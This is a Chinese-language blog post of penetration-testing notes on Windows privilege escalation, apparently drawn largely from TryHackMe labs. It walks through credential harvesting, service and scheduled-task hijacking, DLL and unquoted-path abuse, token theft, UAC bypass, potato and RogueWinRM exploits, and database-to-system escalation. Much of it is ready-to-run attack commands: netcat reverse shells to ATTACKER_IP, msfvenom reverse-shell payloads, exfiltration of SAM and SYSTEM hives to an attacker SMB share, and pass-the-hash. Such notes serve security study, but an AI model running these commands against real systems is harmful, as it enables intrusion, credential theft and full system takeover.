Windows系统提权技术

Windows提权

基础前导

Windows中有很多原因导致提权的漏洞,下表是关于Windows中用户、权限、用户组、提权流程等汇总:

主分类 子分类 核心描述 攻击关联信息
提权漏洞原因 Windows服务/计划任务配置错误 服务可执行文件路径可写、任务权限设置不当 劫持服务→获取SYSTEM权限
用户权限溢出 普通用户被加入Administrators组 直接执行管理员命令
易受攻击的软件 存在CVE漏洞的第三方应用(如旧版Apache) 利用公开EXP提权(需匹配版本)
安全补丁缺失 未修复MS17-010等内核漏洞 使用Metasploit/CS的getsystem模块
账户体系 Administrators 完全控制系统配置/文件访问 目标账户组(通过net user命令添加)
Standard Users 受限基础操作权限 需配合提权漏洞突破限制
SYSTEM 操作系统核心账户(权限最高) 通过PsExec或服务漏洞获取
Local Service 最低权限服务账户(匿名网络连接) 劫持服务→提升至SYSTEM
Network Service 带机器凭据认证的服务账户 横向移动攻击域内其他主机
用户组权限 Backup Operators 文件备份还原特权 利用diskshadow提取SAM数据库
Remote Desktop Users RDP远程连接权限 爆破3389端口/会话劫持
Distributed COM Users DCOM组件调用权限 通过MMC20.Application横向移动
Power Users 受限管理员权限(Windows Vista前有效) 旧系统提权突破点
IIS_IUSRS IIS应用池默认权限组 Webshell文件操作受限
Network Configuration Operators 网络适配器配置权限 篡改DNS实现流量劫持
权限提升路径 Webshell → SYSTEM 通过文件上传获取Webshell后提权 使用JuicyPotato/PrintSpoofer工具链
数据库权限 → SYSTEM 利用SQL Server的xp_cmdshell 需数据库服务以SYSTEM运行
本地用户 → 域管理员 通过Mimikatz提取域凭证 Golden Ticket攻击域控
权限级别与攻击方法 后台权限 攻击方式:SQL注入/弱口令/未授权访问
权限特征:CMS后台管理功能控制
工具:Sqlmap/蚁剑
目标:获取Webshell或数据库凭据
数据库权限 攻击方式:利用数据库漏洞(如xp_cmdshell)
权限特征:执行SQL命令/文件读写
SQL Server:启用xp_cmdshell
MySQL:UDF提权
Web权限 攻击方式:文件上传/RCE漏洞
权限特征:Web目录文件控制权
受限场景:IIS_IUSRS组权限
提权路径:JuicyPotato → SYSTEM
用户权限 攻击方式:凭证窃取/密码爆破
权限特征:本地基础操作权限
工具:Mimikatz/LaZagne
关键命令:net user
服务器权限 攻击方式:内核漏洞(如CVE-2021-36934)
权限特征:完全控制系统资源
提权工具:PrintSpoofer
验证:whoami /priv
宿主机权限 攻击方式:Docker API未授权访问
权限特征:控制宿主机所有容器
利用方法:创建特权容器逃逸
工具:docker-exploit toolkit
域控制器权限 攻击方式:Kerberoasting/DCsync攻击
权限特征:全域策略控制权
工具:Impacket套件
关键命令:lsadump::dcsync

常见权限在实战中的应用场景介绍

  • 弱口令进入到应用后台管理

  • 下载备份文件获取到数据库信息

  • 通过漏洞拿到资产系统的Web权限

  • 在公司被给予账号密码登录计算机或系统

  • 在公司或钓鱼后门获取到某个公司机器系统

从本地获取凭据

无人值守的 Windows 安装

在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,最终可能会存储在计算机的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,可能会遇到凭证,比如:

<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>

Powershell 历史

每当用户使用 Powershell 运行命令时,它都会被存储到一个保存过去命令记忆的文件中便于快速重复以前使用过的命令。如果用户运行的命令直接在 Powershell 命令行中包含密码,则可以在 cmd.exe 提示符下使用以下命令检索密码:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Tips: 上述命令只能在 cmd.exe 中运行,因为 Powershell 不会将 %userprofile% 识别为环境变量。要从 Powershell 读取文件,必须将 %userprofile% 替换为 $Env:userprofile

例:

image-20250321112231575

已保存的 Windows 凭据

Windows 允许用户使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:

cmdkey /list

image-20250321111832391

虽然看不到实际的密码,但如果注意到任何值得尝试的凭据,则可以将它们与 runas 命令和 /savecred 选项一起使用,如下所示。

runas /savecred /user:admin cmd.exe

例:

image-20250321112706484

IIS 配置

Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。IIS 上的网站配置存储在名为 web.config 的文件中,可以存储数据库密码或配置的身份验证机制。根据安装的 IIS 版本,可以在以下位置之一找到 web.config:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

以下是在文件上快速查找数据库连接字符串的一种方法:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

例:

image-20250321112352323

从软件中检索凭证:PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户无需每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供日后使用。虽然 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包含明文身份验证凭据的代理配置

要检索存储的代理凭据,可以使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意: 这里的 Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见,因此不同的目标主机,要查看对应的路径,再执行。

就像 putty 存储凭证一样,任何存储密码的软件,包括浏览器、电子邮件客户端、 FTP 客户端、 SSH 客户端、VNC 软件等,都会有方法来恢复用户保存的任何密码。

例:

image-20250321113155653

通过常规用户进行提权

错误配置&滥用服务/功能

计划任务

查看目标系统上的计划任务,可能会看到一个计划任务丢失了它的二进制文件或正在使用当前用户可以修改的二进制文件。

可以使用 schtasks 命令(不带任何选项)从命令行列出计划任务。要检索有关任何服务的详细信息,可以使用以下命令:

schtasks /query /tn vulntask /fo list /v

这将获得大量有关该任务的信息,但重要的是“要运行的任务(Task to Run)”参数,它指示计划任务执行的内容,以及“以用户身份运行(Run As User)”参数,它显示将用于执行该任务的用户。

image-20250321114247602

如果当前的用户可以修改或覆盖“要运行的任务”可执行文件,那就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。

要检查可执行文件的权限,使用 icacls

icacls c:\tasks\schtask.bat
image-20250321114502756

从结果中可以看出, BUILTIN\Users 组对任务的二进制文件具有完全访问权限(F)。这意味着当前用户可以修改 .bat 文件并插入任何payload。 将 nc64.exe 传到 C:\tools 。更改 bat 文件以生成反向 shell:

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

然后在攻击者的机器上启动一个监听器:nc -lvp 4444

下次自动任务执行该文件的时候就能得到一个shell:

image-20250321122439543

总是高权限安装

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许当前用户生成以管理员权限运行的恶意 MSI 文件。

此方法需要设置两个注册表值。可以使用以下命令从命令行查询这些值。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,必须同时设置这两个参数。否则,将无法利用此漏洞。如果设置了这些参数,就可以使用 msfvenom 生成恶意 .msi 文件,如下所示:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKING_MACHINE_IP> LPORT=<ATTACKER_PORT> -f msi -o malicious.msi

由于这是一个反向 shell,还应该运行相应配置的 Metasploit Handler 模块。传输创建的文件后,可以使用以下命令运行安装程序并接收反向 shell:

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

服务可执行文件替换/路径修改

原理:如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。

利用流程:

  • 流程1:检测服务权限配置->制作payload并上传->更改服务路径指向->调用后成功

    使用工具 accesschk 检测指定用户的权限-能调用的服务:accesschk.exe -uwcqv "username" *

    sc config "test" binpath= "C:\Program.exe"
    sc start test
    
  • 流程2:检查WindowsScheduler服务配置->检查可执行文件权限->制作payload并上传->替换服务执行文件->等待执行

案例-流程2

1、使用 sc qc 命令检查 WindowsScheduler 服务配置:

image-20250321125016006

可以看到,存在漏洞的软件安装的服务以 svcuser1 的身份运行,与该服务关联的可执行文件位于 C:\Progra~2\System~1\WService.exe

2、检查可执行文件的权限:

image-20250321125249698

Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着可以用任何有效负载简单地覆盖它,并且服务将使用配置的用户帐户的权限执行它。

3、使用 msfvenom 生成一个 exe-service 有效负载,并通过 python 网络服务器投送payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
image-20250321125604836 image-20250321130024622

一旦payload进入 Windows 服务器,将payload替换服务可执行文件。

4、这里需要另一个用户来执行payload,因此需要向 Everyone 组授予完全权限,攻击机开启监听,然后重新启动服务,得到shell:

image-20250321130632892

PS: 这里用的 PowerShell,它的 scSet-Content 的别名,因此这里使用 sc.exe 才能使用 PowerShell 控制服务。

创建服务提权

sc是用于与服务控制管理器和服务进行通信的命令行程序。

适用版本:windows 7、10、08、12、16、19、22,早期用at命令

1、创建一个名叫syscmd的执行文件服务

sc Create syscmd binPath= "c:\msf.exe"

2、运行服务

sc start syscmd

远程控制-PsTools工具包

psexec.exe -accepteula -s -i -d cmd # 不弹出弹窗,调用运行cmd,也可以是执行其他程序,比如cs的payload

进程注入/迁移

通过msf/CS上线shell后可以通过查看进程信息,迁移当前进程到其他进程中,以此提高隐蔽性和提权:

# msf
ps # 查看所有进程
migrate PID # 迁移对应PID

# CS
ps # 查看所有进程
inject PID # 注入对应PID

令牌窃取(降权&提权)

# msf
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

# CS
ps # 查看进程
steal_token PID # 窃取进程令牌
spawnu PID # 窃取进程令牌上线

BypassUAC自动提权-MSF&UACME

适用系统:win10、win11

目的:为了远程执行目标主机上的exe或者bat可执行文件需要绕过此安全机制,在用户到系统权限自动提权中也通过BypassUAC实现自动化提权。

工具:MSF内置模块,Powershell渗透框架,UACME项目(推荐)、CS自动提权指令

1、MSF模块

use exploit/windowslocal/ask
use exploit/windows/local/bypassua
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup

2、UACME项目

Akagi64.exe 编号 调用执行

3、CS自动提取

目标连接到CS后,直接使用自带的getsystem自动提权

getsystem

DLL劫持提权应用配合MSF-FlashFXP

原理:Windows程序启动的时候需要DLL,如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。

通常Windows应用程序有其预定义好的搜索DLL的路径,一般会根据下面的顺序进行搜索:

  • 应用程序加载的目录

  • C:\Windows\System32

  • C:\Windows\System

  • C:\Windows

  • 当前工作目录Current Working Directory,CWD

  • 在PATH环境变量的目录(先系统后用户)

利用过程:信息收集->进程调试->制作dll并上传->替换dll->等待启动应用成功

dll检测:ChkDllHijack 火绒剑

项目:anhkgg-tools

利用火绒剑进行进程分析加载DLL,一般找程序自身的DLL利用,找到目标程序调用的dll文件后,使用msfvenom生成同名的dll文件作为payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f dll -o xiaodi.dll

用payload替换原dll文件,当任何用户(比如高权限用户)执行目标程序时就会调用payload上线shell。

Tips:最好是提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用

PS:这个方法有个问题是直接使用生成的同名dll给目标程序调用,大概率会导致目标程序无法使用,所以最好是将payload合并进入原dll文件中,尽量不影响原程序的运行,暴露攻击行为。

不带引号服务路径配合MSF-MacroExpert

原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行

"C:\Program Files\Java\jdk1.8.0_181\bin\jar.exe"  # 有引号包裹,没有危害
D:\SafetyTools\platform-tools\fastboot.exe  # 没有空格,没有危害
C:\Program Files\Java\jdk1.8.0_181\bin\jar.exe # 没有引号包裹,存在空格隔开,有危害
识别为:
C:\Program  # 参数1
Files\Java\jdk1.8.0_181\bin\jar.exe  # 参数2

过程:检测服务权限配置->制作文件并上传->服务路径指向解析->等待调用成功

查找当前运行的有空格路径的服务,命令:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

上传反弹exe到对应目录,设置好对应执行名后,执行sc start "programName"

案例:

使用命令查看可能的正在运行的程序:

image-20250321132606089

查看 C:\MyPrograms 目录的权限,当前用户是否有权限写入文件

image-20250321132853780

可以看到 BUILTIN\\Users 组具有 ADWD 权限,允许用户分别创建子目录和文件。

使用 msfvenom 创建 exe-service payload 并将其传输到目标主机,然后开始反弹shell即可

image-20250321133336600

注:下载的木马文件需要添加执行权限:icacls ./program.exe /grant Everyone:F

案例

使用命令 accesschk64.exe -qlc thmservice 检查 thmservice 服务的 DACL

image-20250321134009980

可以看到 BUILTIN\\Users 组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置该服务。

制作一个反弹shell的payload上传并将其存储在 C:\Users\thm-unpriv\rev-svc3.exe 中,并启动监听

然后授予每个人执行有效负载的权限:

icacls C:\Users\thm-unpriv\rev-svc.exe /grant Everyone:F

image-20250321135052014

注:可以使用任何帐户来运行该服务。这里选择 LocalSystem,因为它是可用的最高权限帐户。最后重新启动服务拿到shell

滥用危险特权

SeBackup/SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的 DACL 。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

可以使用:whoami /priv 查看当前权限

默认情况下,备份操作员组被授予 SeBackup 和 SeRestore 权限。使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获取提升的控制台:

image-20250321140023587

备份 SAM 和 SYSTEM 哈希,可以使用以下命令:

reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

这将创建几个包含注册表配置单元内容的文件。使用 SMB 或任何其他可用方法将这些文件复制到攻击者机上。对于 SMB ,可以使用 impacket 的 smbserver.py 在当前目录中启动一个具有网络共享的简单 SMB 服务器:

mkdir share
python3 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

这将创建一个名为 public 的共享,指向 share 目录,这需要当前 Windows 会话的用户名和密码。然后在 Windows 机器中使用 copy 命令将两个文件传输到攻击机:

copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

使用 impacket 检索用户的密码哈希值:

python3 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

最终可以使用管理员的哈希执行Pass-the-Hash攻击,并以 SYSTEM 权限访问目标机器

python3.9 /opt/impacket/examples/psexec.py -hashes adminHash administrator@10.10.239.160
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

SeTakeOwnership

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,例如,可以搜索以 SYSTEM 身份运行的服务并获取该服务可执行文件的所有权或者将原文件进行替换,替换为payload。

案例:

使用 utilman.exe 来提升权限。Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:

image-20250321142922780

由于 Utilman 以 SYSTEM 权限运行,因此如果将原始二进制文件替换为任何payload,我们将有效地获得 SYSTEM 权限。由于我们可以获得任何文件的所有权,因此替换它很简单。

为了替换 utilman,首先使用以下命令获取它的所有权:

takeown /f C:\Windows\System32\Utilman.exe

image-20250321142750910

成为文件的所有者并不一定意味着拥有该文件的权限,但作为所有者,可以为自己分配所需的任何权限。要授予用户对 utilman.exe 的完全权限,可以使用以下命令:

icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

image-20250321142807589

然后用 cmd.exe 的副本替换 utilman.exe:

copy cmd.exe utilman.exe

image-20250321142814066

然后锁定屏幕,点击轻松访问以触发payload,它将以 system 权限运行:

image-20250321142922780

image-20250321142937603

SeImpersonate / SeAssignPrimaryToken

这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文中生成进程或线程。

  • SeImpersonatePrivilege:允许进程模拟一个用户的身份(比如用该用户的权限执行某个操作)。
  • SeAssignPrimaryToken:允许进程直接替换自身的主令牌(Token),完全以另一个用户的身份运行。

要使用此类账户提升权限,攻击者需要执行以下操作:

  1. 生成一个进程,以便用户可以连接并对其进行身份验证,从而进行模拟。
  2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。

案例:RogueWinRM 漏洞

RogueWinRM 漏洞原理

  • BITS 服务:Windows 的“后台智能传输服务”(用于自动更新、文件传输等),当启动时,默认以 SYSTEM 权限运行
  • WinRM 服务:默认监听 5985 端口,提供远程 PowerShell 管理(类似 SSH)。
  • 关键点:当 BITS 服务启动时,会尝试连接 5985 端口(即使 WinRM 未运行)。如果此时攻击者在该端口启动一个 伪造的 WinRM 服务,就能截获 BITS 的 SYSTEM 权限连接。

利用步骤

  1. 伪造 WinRM 服务:攻击者在 5985 端口启动恶意服务,等待 BITS 服务连接。
  2. 捕获 SYSTEM 令牌:当 BITS 连接时,攻击者利用 SeImpersonate 权限,模拟 SYSTEM 用户执行任意命令。

攻击步骤

在已得到的webshell中执行命令 whoami /priv 查看当前拥有的权限,可以看到有 SeImpersonatePrivilege 等权限:

image-20250321151019822

攻击机监听:nc64.exe -lvnp 5566

执行命令,触发RogueWinRM 漏洞
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

注:这里是提前将nc和漏洞利用程序 RogueWinRM.exe 上传了

上线 system shell

image-20250321151904363

综合类检测项目 - PEASS-ng

PEAS-ng适用于Windows和Linux/Unix*和MacOS的权限提升工具。

winPEAS.bat > result.txt
winPEASany.exe log=result.txt

通过web用户进行提权

基本概念

权限转移-后台管理&数据库管理&Web

  • Tmall-后台权限->Web权限(提升)

  • Tmall-Web权限->数据库权限(转移)

  • Tmall-Web权限->另一个后台权限(转移)

  • PhpMyadmin-数据管理->Web权限(提升)

  • PhpMyadmin-Web权限->另一个后台权限(转移)

Web到Win系统提权-平台&语言&用户

Web搭建平台差异

类型 示例
集成软件 宝塔、PhpStudy、XAMPP等
自行搭建 自己一个个下载安装搭建配置
虚拟化 Docker、ESXi、QEMU、Hyper-V等

Web语言权限差异

ASP/ASP.NET/PHP/JSP等

权限高低:JSP>ASP.NET>ASP=PHP,JSP就不用提权了,本身就是以最高权限运行的。

Web到Win-系统提权-宝塔面板-哥斯拉

Windows 2012(宝塔Apache+PHP)-MSF

复现搭建:选择2012系统,安装宝塔

绕过宝塔的安全策略

通过哥斯拉相关功能提权:PMeterpreter、BypassOpenBaseDir、BypassDisableFunction

Web到Win-系统提权-溢出漏洞-MSF&CS

Windows 2008(IIS+ASP)-MSF

复现搭建+ASP/PHP+Windows 2008

复现搭建:选择2016系统,安装IIS+ASP

1、生成反弹后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackIP LPORT=3333 -f exe -o msf.exe

2、配置监听会话

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
run

2.1、筛选EXP模块

全自动:快速识别系统中可能被利用的漏洞

use post/multi/recon/local_exploit_suggester
set showdescription true

3、利用EXP溢出提权

background
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
exploit

Windows 2016(IIS+ASP.NET)-CS

复现搭建:选择2016系统,安装IIS+ASP.NET

0、CS安装

chmod +x ./teamserver
chmod +x ./TeamServerImage
./teamserver IP password

1、客户端连接CS服务端

2、创建监听器并上传

3、加载脚本插件

Web到Win-系统提权-人工操作

如果提权中无法执行命令的话,可以尝试上传cmd.exe到可读写目录再调用

优点:解决实时更新不集成的EXP

缺点:操作繁琐,需要各种复现调试

目的:解决工具或插件无法实时更新,又或者集成较少面对复杂情况下人工操作更适合

系统内信息收集

参考笔记:系统内信息搜集

补丁筛选

工具/网站:tiquan wesng

# 根据系统详细信息列出可能存在的漏洞
python wes.py systeminfo.txt --color

# 列出权限提升相关的漏洞编号,并写入文件
python wes.py systeminfo.txt --color -i "Elevation of Privilege" -o vuln.csv

EXP获取执行

KernelHub:针对常用溢 出编号指定找EXP

Poc-in-Github:针对年份及编号指定找EXP

exploitdb:针对类型及关键说明指定找EXP

土豆家族提权

土豆(potato)提权通常用在获取WEB/数据库权限的时候,可以将低权限的服务用户提升为“NT AUTHORITY\system”特权。

土豆家族成员:GodPotato SweetPotato RoguePotato BadPotato EfsPotato MultiPotato CandyPotato RasmanPotato PetitPotato JuicyPotatoNG PrintNotifyPotato CoercedPotato

数据库提权

实质就是用数据库的高权限用户打开相关功能从而提权

获取数据库用户密码

  • 网站存在SQL注入漏洞

  • 数据库的存储文件或备份文件

  • 网站应用源码中的数据库配置文件

  • 采用工具或脚本爆破(需解决外联问题)

利用数据库提权项目进行连接

自动化提权工具:MDUT Databasetools RequestTemplate

远程连接权限查看

查看是否可以远程登录:

use mysql;
select user,host from user;
image-20250327215116278

这里显示不能远程登录,所以不能进行MSF提权,也不能使用工具进行提权,需要开启远程连接权限;

利用建立代理解决不支持外联

  • 利用已知Web权限建立代理(等同于本地连接)-见隧道通信、frp代理、vshell、reg正向代理。

  • 利用已知权限执行SQL命令开启外联(让数据库开启外联)

# mySQL
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
flush privileges;

# msSQL
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;

# Oracle 
ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;
SHUTDOWN IMMEDIATE;
STARTUP;

可利用数据库提权类型条件及技术

MYSQL:PHP+MYSQL 以web入口提权

相关技术:UDF MSF 启动项 反弹Shell

利用条件:

  • 有ROOT权限(实质是要拥有对mysql具有增删改查的权限,以创建用户自定义函数,可以通过是否能查看secure_file_priv的值进行验证)
  • 要求 secure_file_priv 无值,具体如下:
    • 当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入/导出,此时无法提权
    • 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入/导出只能发生在 /tmp/目录下,此时也无法提权
    • 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入/导出做限制,此时可提权

PS:如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

条件验证示例:

  • secure_file_priv 是否有具体值:

    show global variables like 'secure%';    #查询secure_file_priv
    
    image-20250327212809634

​ 没有具体值,可以任意写入文件,可以进行udf提权

  • 查看插件目录:

    show variables like '%plugin%';
    
    image-20250327214807180

    上传UDF文件:

    • Windows:将lib_mysqludf_sys.dll上传至插件目录,这里即:C:\mysql\lib\plugin\
    • Linux:将udf文件上传至插件目录:/usr/lib/mysql/plugin/
  • 然后找到常规的udf提权exp,里面通常会有利用流程,照着其中的利用方法进行操作即可。

MSSQL:.NET+MSSQL 以web入口提权

利用条件:知道sa密码

相关技术:xp_cmdshell sp_oacreate CLR 沙盒

案例:MSSQL xp_cmdshell提权:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';  -- 执行系统命令

Oracle(数据库->系统)

注:前文有说JSP权限默认最高,所以如果用jsp就不用提权了

利用条件:数据库用户密码

相关技术:DBA,普通用户,注入模式

PostgreSQL(数据库->系统)

利用条件:数据库用户密码

相关技术:CVE-2019-9193 UDF libc

复现镜像

# 命令执行的原理指令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

Redis(数据库->Linux,不支持windows)

利用条件:利用未授权或密码连接后执行

相关技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行

参考笔记:[数据库应用-Redis-未授权访问&CEV 漏洞](../../Web安全/服务攻防.md##数据库应用-Redis-未授权访问&CEV 漏洞)

Memcached(数据库->Linux)

利用条件:设置远程可访问或取得本地权限后访问,自身没有账户验证;

一套常用的key-value缓存系统,由于它本身没有权限控制模块,服务被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。

复现镜像 案例参考

开启命令:systemctl start memcached.service

关闭命令:systemctl stop memcached.service

查看状态:systemctl status memcached.service

第三方软件

使用 wmic 工具列出目标系统上安装的软件及其版本。以下命令将转储它可以收集的有关已安装软件的信息,然后搜索对应版本是否有报过漏洞,尝试复现:

wmic product get name,version,vendor

PS:wmic product 命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。始终值得检查桌面快捷方式、可用服务或通常任何表明可能存在其他易受攻击的软件的痕迹。

根据用途第三方软件有以下几类:

分类 软件
远控类 Teamviewer 向日葵 Todesk VNC Radmin等
密码类 各大浏览器 Xshell Navicat 3389 等
服务类 FileZilla Serv-u Zend等
文档类 Winrar WPS Office等

案例

  • TeamViewer密码提取

    • 配置文件路径:

      • Windows:C:\Program Files\TeamViewer\config.json

      • 使用工具解密密码:

        # 使用SharpDecryptPwd提取凭据
        SharpDecryptPwd.exe -teamviewer
        
    • 防御措施:

      • 禁用TeamViewer的无人值守访问。
      • 定期清理配置文件。
  • Navicat密码解密

    • 保存连接路径:

      • Windows:%APPDATA%\Navicat\Servers\

      • 使用工具解密:

        python3 navicat-decrypt.py <加密密码>
        
    • 防御措施:

      • 使用Navicat的“主密码”功能加密连接配置。
      • 避免明文保存敏感信息。
posted @ 2025-12-04 16:27  shinianyunyan  阅读(3)  评论(0)    收藏  举报